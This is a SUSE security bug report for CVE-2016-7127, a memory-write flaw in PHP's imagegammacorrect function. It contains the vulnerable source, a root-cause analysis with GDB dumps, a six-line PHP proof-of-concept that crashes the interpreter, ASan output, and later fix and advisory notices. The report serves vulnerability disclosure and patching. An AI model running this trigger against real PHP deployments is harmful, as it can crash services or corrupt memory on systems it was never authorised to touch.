Bug 997210 (CVE-2016-7127)

Summary: VUL-0: CVE-2016-7127: php7: imagegammacorrect allows arbitrary write access
Product: [Novell Products] SUSE Security Incidents Reporter: Victor Pereira <vpereira>
Component: IncidentsAssignee: Security Team bot <security-team>
Status: RESOLVED FIXED QA Contact: Security Team bot <security-team>
Severity: Normal    
Priority: P3 - Medium    
Version: unspecified   
Target Milestone: ---   
Hardware: Other   
OS: Other   
Whiteboard: CVSSv2:RedHat:CVE-2016-7127:4.3:(AV:N/AC:M/Au:N/C:N/I:N/A:P) maint:running:63038:important CVSSv2:NVD:CVE-2016-7127:7.5:(AV:N/AC:L/Au:N/C:P/I:P/A:P) CVSSv3:RedHat:CVE-2016-7127:7.5:(AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Found By: --- Services Priority:
Business Priority: Blocker: ---
Marketing QA Status: --- IT Deployment: ---

Description Victor Pereira 2016-09-05 07:34:23 UTC
------------
Description:
------------
imagegammacorrect accepts two gamma values, if they don't have the same sign then the palette colors will be assigned values bigger than 0xFF, later this values are used to calculate the transparent color using the gdTrueColorAlpha macro, and a negative value will be assigned to the transparent color. 

This negative value is used as an index and allows writing an arbitrary null, similar to bug #72512 

This doesn't affect libgd upstream, gamma correction is only implemented in PHP.

Possible fix
------------
Don't accept negative values on imagegammacorrect


Details
-------
Source code:

https://github.com/php/php-src/blob/master/ext/gd/gd.c#L3024

PHP_FUNCTION(imagegammacorrect)
{
        zval *IM;
        gdImagePtr im;
        int i;
        double input, output;

        if (zend_parse_parameters(ZEND_NUM_ARGS(), "rdd", &IM, &input, &output) == FAILURE) {
                return;
        }

        if ((im = (gdImagePtr)zend_fetch_resource(Z_RES_P(IM), "Image", le_gd)) == NULL) {
                RETURN_FALSE;
        }

        if (gdImageTrueColor(im))       {
                int x, y, c;

                for (y = 0; y < gdImageSY(im); y++)     {
                        for (x = 0; x < gdImageSX(im); x++)     {
                                c = gdImageGetPixel(im, x, y);
                                gdImageSetPixel(im, x, y,
                                        gdTrueColorAlpha(
                                                (int) ((pow((pow((gdTrueColorGetRed(c)   / 255.0), input)), 1.0 / output) * 255) + .5),
                                                (int) ((pow((pow((gdTrueColorGetGreen(c) / 255.0), input)), 1.0 / output) * 255) + .5),
                                                (int) ((pow((pow((gdTrueColorGetBlue(c)  / 255.0), input)), 1.0 / output) * 255) + .5),
                                                gdTrueColorGetAlpha(c)
                                        )
                                );
                        }
                }
                RETURN_TRUE;
        }

        for (i = 0; i < gdImageColorsTotal(im); i++) {
                im->red[i]   = (int)((pow((pow((im->red[i]   / 255.0), input)), 1.0 / output) * 255) + .5);
                im->green[i] = (int)((pow((pow((im->green[i] / 255.0), input)), 1.0 / output) * 255) + .5);
                im->blue[i]  = (int)((pow((pow((im->blue[i]  / 255.0), input)), 1.0 / output) * 255) + .5);
        }

        RETURN_TRUE;
}


The line that calculates the rgb values generates a value bigger than 255, let's analyze red for example:

 im->red[i]   = (int)((pow((pow((im->red[i]   / 255.0), input)), 1.0 / output) * 255) + .5);

This formula is:

[[r/255] ^ input ] ^ (1 / output) 

 [r/255] ^ (input / output)

If one of these two is negatives then it becomes:

[255/r] ^ (input / output)

We control r, input and output, and we can make the new value bigger than 255.


GDB output
----------
Before imagegamacorrect:

Breakpoint 5, gdImageTrueColorToPaletteBody (oim=0x7fffef678000, dither=<optimized out>, colorsWanted=<optimized out>, cimP=0x0) at /home/operac/php-70/ext/gd/libgd/gd_topal.c:2015
2015        oim->tpixels = 0;
gdb-peda$ p *oim
$2 = {
  pixels = 0x7fffef6730f0,
  sx = 0x1,
  sy = 0x1,
  colorsTotal = 0x2,
  red = {0x4, 0xb, 0x0 <repeats 254 times>},
  green = {0x2, 0xc, 0x0 <repeats 254 times>},
  blue = {0x4, 0xd, 0x0 <repeats 254 times>},
  open = {0x0 <repeats 256 times>},
  transparent = 0x1,
  polyInts = 0x0,
  polyAllocated = 0x0,
  brush = 0x0,
  tile = 0x0,
  brushColorMap = {0x0 <repeats 256 times>},
  tileColorMap = {0x0 <repeats 256 times>},
  styleLength = 0x0,
  stylePos = 0x0,
  style = 0x0,
  interlace = 0x0,
  thick = 0x1,
  alpha = {0x0, 0x7f, 0x0 <repeats 254 times>},
  trueColor = 0x0,
  tpixels = 0x7fffef673050,
  alphaBlendingFlag = 0x1,
  antialias = 0x0,
  saveAlphaFlag = 0x0,
  AA = 0x0,
  AA_color = 0x0,
  AA_dont_blend = 0x0,
  AA_opacity = 0x7fffef673078,
  AA_polygon = 0x0,
  AAL_x1 = 0x0,
  AAL_y1 = 0x0,
  AAL_x2 = 0x0,
  AAL_y2 = 0x0,
  AAL_Bx_Ax = 0x0,
  AAL_By_Ay = 0x0,
  AAL_LAB_2 = 0x0,
  AAL_LAB = 0,
  cx1 = 0x0,
  cy1 = 0x0,
  cx2 = 0x0,
  cy2 = 0x0,
  interpolation_id = GD_BILINEAR_FIXED,
  interpolation = 0x0
}
gdb-peda$ c


After gammacorrect:

Breakpoint 3, gdImagePaletteToTrueColor (src=0x7fffef678000) at /home/operac/php-70/ext/gd/libgd/gd.c:3107
3107            if (src == NULL) {
gdb-peda$ p *src
$3 = {
  pixels = 0x7fffef6730f0,
  sx = 0x1,
  sy = 0x1,
  colorsTotal = 0x2,
  red = {0x100, 0x100, 0x0 <repeats 254 times>},            // colors palette > 0xff
  green = {0x100, 0x100, 0x0 <repeats 254 times>},
  blue = {0x100, 0x100, 0x0 <repeats 254 times>},
  open = {0x0 <repeats 256 times>},
  transparent = 0x1,
  polyInts = 0x0,
  polyAllocated = 0x0,
  brush = 0x0,
  tile = 0x0,
  brushColorMap = {0x0 <repeats 256 times>},
  tileColorMap = {0x0 <repeats 256 times>},
  styleLength = 0x0,
  stylePos = 0x0,
  style = 0x0,
  interlace = 0x0,
  thick = 0x1,
  alpha = {0x0, 0x7f, 0x0 <repeats 254 times>},
  trueColor = 0x0,
  tpixels = 0x0,
  alphaBlendingFlag = 0x1,
  antialias = 0x0,
  saveAlphaFlag = 0x0,
  AA = 0x0,
  AA_color = 0x0,
  AA_dont_blend = 0x0,
  AA_opacity = 0x7fffef673078,
  AA_polygon = 0x0,
  AAL_x1 = 0x0,
  AAL_y1 = 0x0,
  AAL_x2 = 0x0,
  AAL_y2 = 0x0,
  AAL_Bx_Ax = 0x0,
  AAL_By_Ay = 0x0,
  AAL_LAB_2 = 0x0,
  AAL_LAB = 0,
  cx1 = 0x0,
  cy1 = 0x0,
  cx2 = 0x0,
  cy2 = 0x0,
  interpolation_id = GD_BILINEAR_FIXED,
  interpolation = 0x0
}

...

After imagepalettetotruecolor:

Breakpoint 4, php_gd_gdImageTrueColorToPalette (im=0x7fffef678000, dither=0x1, colorsWanted=0xa) at /home/operac/php-70/ext/gd/libgd/gd_topal.c:1767
1767    {
gdb-peda$ p *im
$4 = {
  pixels = 0x0,
  sx = 0x1,
  sy = 0x1,
  colorsTotal = 0x2,
  red = {0x100, 0x100, 0x0 <repeats 254 times>},
  green = {0x100, 0x100, 0x0 <repeats 254 times>},
  blue = {0x100, 0x100, 0x0 <repeats 254 times>},
  open = {0x0 <repeats 256 times>},
  transparent = 0x80010100,         // transparent > 0x7fffffff (negative)
  polyInts = 0x0,
  polyAllocated = 0x0,
  brush = 0x0,
  tile = 0x0,
  brushColorMap = {0x0 <repeats 256 times>},
  tileColorMap = {0x0 <repeats 256 times>},
  styleLength = 0x0,
  stylePos = 0x0,
  style = 0x0,
  interlace = 0x0,
  thick = 0x1,
  alpha = {0x0, 0x7f, 0x0 <repeats 254 times>},
  trueColor = 0x1,
  tpixels = 0x7fffef673050,
  alphaBlendingFlag = 0x0,
  antialias = 0x0,
  saveAlphaFlag = 0x1,
  AA = 0x0,
  AA_color = 0x0,
  AA_dont_blend = 0x0,
  AA_opacity = 0x7fffef673078,
  AA_polygon = 0x0,
  AAL_x1 = 0x0,
  AAL_y1 = 0x0,
  AAL_x2 = 0x0,
  AAL_y2 = 0x0,
  AAL_Bx_Ax = 0x0,
  AAL_By_Ay = 0x0,
  AAL_LAB_2 = 0x0,
  AAL_LAB = 0,
  cx1 = 0x0,
  cy1 = 0x0,
  cx2 = 0x0,
  cy2 = 0x0,
  interpolation_id = GD_BILINEAR_FIXED,
  interpolation = 0x0
}

gdb-peda$ p/d im->transparent
$6 = -2147417856
-----------------------------------------

...
https://github.com/php/php-src/blob/dda0ea9b3af0c392be8d850ccdbe8a1bfa2badb6/ext/gd/libgd/gd.c#L3155

int gdImagePaletteToTrueColor(gdImagePtr src)
{
...
        if (src->transparent >= 0) {
                const unsigned char c = src->transparent;
                src->transparent =  gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]);
        }
...

https://github.com/php/php-src/blob/1c295d4a9ac78fcc2f77d6695987598bb7abcb83/ext/gd/libgd/gd.h#L541


#define gdTrueColorAlpha(r, g, b, a) (((a) << 24) + \
        ((r) << 16) + \
        ((g) << 8) + \
        (b))

7f000000   alpha
 1000000   red
   10000   green
     100   blue
-----------------
80010100 

This is the negative color that was assigned to transparent.

Test script:
---------------
<?php
$img =  imagecreatetruecolor(1, 1);

imagecolortransparent($img, 0x0a0b0c0d);   # if color >= 0  ->  img->transparent = 0x0a0b0c0d
imagetruecolortopalette($img, true,  10);  # if transparent >=0 -> r[i]=0x0b  g[i]=0x0c b[i]=0x0d; a[i] = gdAlphaTransparent (0x7f);  img->transparent = i  
imagegammacorrect($img, -1, 1337);   # rgb becomes negative => (int)((pow((pow((im->red[i]   / 255.0), input)), 1.0 / output) * 255) + .5);
imagepalettetotruecolor($img);       # if transparent >=0  const unsigned char c = src->transparent;  src->transparent =  gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]);
imagetruecolortopalette($img, true, 10);   # if transparent >=0 =>  r[i]=0x0b   g[i]=0x0c   b[i]=0x0d; a[i] = gdAlphaTransparent (0x7f);    img->transparent = i  
imagecolortransparent($img, 0);      # if color >=0 && color < colorsTotal => im->alpha[im->transparent] = gdAlphaOpaque (0x0);


Expected result:
----------------
No crash

Actual result:
--------------
ASan output:

ASAN:SIGSEGV
=================================================================
==7112==ERROR: AddressSanitizer: SEGV on unknown address 0x7f96b96b9c50 (pc 0x00000098c960 bp 0x7ffcb18d91e0 sp 0x7ffcb18d91e0 T0)
    #0 0x98c95f in php_gd_gdImageColorTransparent /home/operac/php-70/ext/gd/libgd/gd.c:609
    #1 0x95b50c in zif_imagecolortransparent /home/operac/php-70/ext/gd/gd.c:3311
    #2 0x1da38da in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/php-70/Zend/zend_vm_execute.h:586
    #3 0x1b4c335 in execute_ex /home/operac/php-70/Zend/zend_vm_execute.h:414
    #4 0x1df9dc8 in zend_execute /home/operac/php-70/Zend/zend_vm_execute.h:458
    #5 0x194764a in zend_execute_scripts /home/operac/php-70/Zend/zend.c:1427
    #6 0x16b8347 in php_execute_script /home/operac/php-70/main/main.c:2494
    #7 0x1e02126 in do_cli /home/operac/php-70/sapi/cli/php_cli.c:974
    #8 0x467378 in main /home/operac/php-70/sapi/cli/php_cli.c:1344
    #9 0x7f98bf19382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x467a48 in _start (/ramdisk/php-fuzz/phuzzer/php-70/sapi/cli/php+0x467a48)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/operac/php-70/ext/gd/libgd/gd.c:609 php_gd_gdImageColorTransparent
==7112==ABORTING


References:
https://bugs.php.net/bug.php?id=72730
https://github.com/php/php-src/commit/1bd103df00f49cf4d4ade2cfe3f456ac058a4eae?w=1
Comment 1 Swamp Workflow Management 2016-09-05 22:00:54 UTC
bugbot adjusting priority
Comment 2 Petr Gajdos 2016-09-07 09:15:30 UTC
BEFORE

The test case above segfaults php reliably for 12sp2/php7 and 12/php5. For the 11sp3/php53 and less, there is no imagepalettetotruecolor() provided. Nevertheless, imagegammacorrect() code is there too, considering affected.

AFTER

Correct behaviour is:

$ php test.php
PHP Warning:  imagegammacorrect(): Gamma values should be positive in /997210/test.php on line 6
$
Comment 3 Petr Gajdos 2016-09-08 13:12:03 UTC
Packages submitted.
Comment 4 Bernhard Wiedemann 2016-09-08 14:01:03 UTC
This is an autogenerated message for OBS integration:
This bug (997210) was mentioned in
https://build.opensuse.org/request/show/425708 13.2 / php5
Comment 7 Swamp Workflow Management 2016-09-13 05:31:51 UTC
An update workflow for this issue was started.
This issue was rated as important.
Please submit fixed packages until 2016-09-20.
When done, reassign the bug to security-team@suse.de.
https://swamp.suse.de/webswamp/wf/63038
Comment 8 Swamp Workflow Management 2016-09-16 19:11:24 UTC
SUSE-SU-2016:2328-1: An update that fixes 18 vulnerabilities is now available.

Category: security (important)
Bug References: 987530,991426,991427,991428,991429,991430,991433,991437,997206,997207,997208,997210,997211,997220,997225,997230,997257
CVE References: CVE-2014-3587,CVE-2016-3587,CVE-2016-5399,CVE-2016-6288,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132
Sources used:
SUSE Linux Enterprise Server 11-SP2-LTSS (src):    php53-5.3.17-55.1
SUSE Linux Enterprise Debuginfo 11-SP2 (src):    php53-5.3.17-55.1
Comment 9 Swamp Workflow Management 2016-09-19 17:10:00 UTC
openSUSE-SU-2016:2337-1: An update that fixes 10 vulnerabilities is now available.

Category: security (important)
Bug References: 997206,997207,997208,997210,997211,997220,997225,997230,997248,997257
CVE References: CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7134
Sources used:
openSUSE 13.2 (src):    php5-5.6.1-75.2
Comment 11 Swamp Workflow Management 2016-09-28 13:12:29 UTC
SUSE-SU-2016:2408-1: An update that fixes 24 vulnerabilities is now available.

Category: security (important)
Bug References: 987530,987580,988032,991422,991424,991426,991427,991428,991429,991430,991433,991434,991437,997206,997207,997208,997210,997211,997220,997225,997230,997248,997257
CVE References: CVE-2014-3587,CVE-2016-3587,CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6288,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7134
Sources used:
SUSE Linux Enterprise Software Development Kit 12-SP1 (src):    php5-5.5.14-73.1
SUSE Linux Enterprise Module for Web Scripting 12 (src):    php5-5.5.14-73.1
Comment 12 Swamp Workflow Management 2016-10-04 15:13:49 UTC
openSUSE-SU-2016:2451-1: An update that fixes 24 vulnerabilities is now available.

Category: security (important)
Bug References: 987530,987580,988032,991422,991424,991426,991427,991428,991429,991430,991433,991434,991437,997206,997207,997208,997210,997211,997220,997225,997230,997248,997257
CVE References: CVE-2014-3587,CVE-2016-3587,CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6288,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7134
Sources used:
openSUSE Leap 42.1 (src):    php5-5.5.14-59.1
Comment 13 Swamp Workflow Management 2016-10-05 16:12:59 UTC
SUSE-SU-2016:2459-1: An update that fixes 16 vulnerabilities is now available.

Category: security (important)
Bug References: 997206,997207,997208,997210,997211,997220,997225,997230,997257,999679,999680,999682,999684,999685,999819,999820
CVE References: CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7411,CVE-2016-7412,CVE-2016-7413,CVE-2016-7414,CVE-2016-7416,CVE-2016-7417,CVE-2016-7418
Sources used:
SUSE OpenStack Cloud 5 (src):    php53-5.3.17-84.1
SUSE Manager Proxy 2.1 (src):    php53-5.3.17-84.1
SUSE Manager 2.1 (src):    php53-5.3.17-84.1
SUSE Linux Enterprise Software Development Kit 11-SP4 (src):    php53-5.3.17-84.1
SUSE Linux Enterprise Server 11-SP4 (src):    php53-5.3.17-84.1
SUSE Linux Enterprise Server 11-SP3-LTSS (src):    php53-5.3.17-84.1
SUSE Linux Enterprise Point of Sale 11-SP3 (src):    php53-5.3.17-84.1
SUSE Linux Enterprise Debuginfo 11-SP4 (src):    php53-5.3.17-84.1
SUSE Linux Enterprise Debuginfo 11-SP3 (src):    php53-5.3.17-84.1
Comment 14 Swamp Workflow Management 2016-10-05 19:11:31 UTC
SUSE-SU-2016:2460-1: An update that solves 29 vulnerabilities and has two fixes is now available.

Category: security (important)
Bug References: 1001950,987580,988032,991422,991424,991426,991427,991428,991429,991430,991434,991437,995512,997206,997207,997208,997210,997211,997220,997225,997230,997247,997248,997257,999313,999679,999680,999684,999685,999819,999820
CVE References: CVE-2016-4473,CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7133,CVE-2016-7134,CVE-2016-7412,CVE-2016-7413,CVE-2016-7414,CVE-2016-7416,CVE-2016-7417,CVE-2016-7418
Sources used:
SUSE Linux Enterprise Software Development Kit 12-SP1 (src):    php7-7.0.7-15.1
SUSE Linux Enterprise Module for Web Scripting 12 (src):    php7-7.0.7-15.1
Comment 15 Marcus Meissner 2016-10-31 08:28:27 UTC
released
Comment 16 Swamp Workflow Management 2016-11-01 15:24:13 UTC
SUSE-SU-2016:2460-2: An update that solves 29 vulnerabilities and has two fixes is now available.

Category: security (important)
Bug References: 1001950,987580,988032,991422,991424,991426,991427,991428,991429,991430,991434,991437,995512,997206,997207,997208,997210,997211,997220,997225,997230,997247,997248,997257,999313,999679,999680,999684,999685,999819,999820
CVE References: CVE-2016-4473,CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7133,CVE-2016-7134,CVE-2016-7412,CVE-2016-7413,CVE-2016-7414,CVE-2016-7416,CVE-2016-7417,CVE-2016-7418
Sources used:
SUSE Linux Enterprise Module for Web Scripting 12 (src):    php7-7.0.7-15.1
Comment 17 Swamp Workflow Management 2017-01-30 13:29:42 UTC
An update workflow for this issue was started.
This issue was rated as moderate.
Please submit fixed packages until 2017-02-13.
When done, reassign the bug to security-team@suse.de.
https://swamp.suse.de/webswamp/wf/63367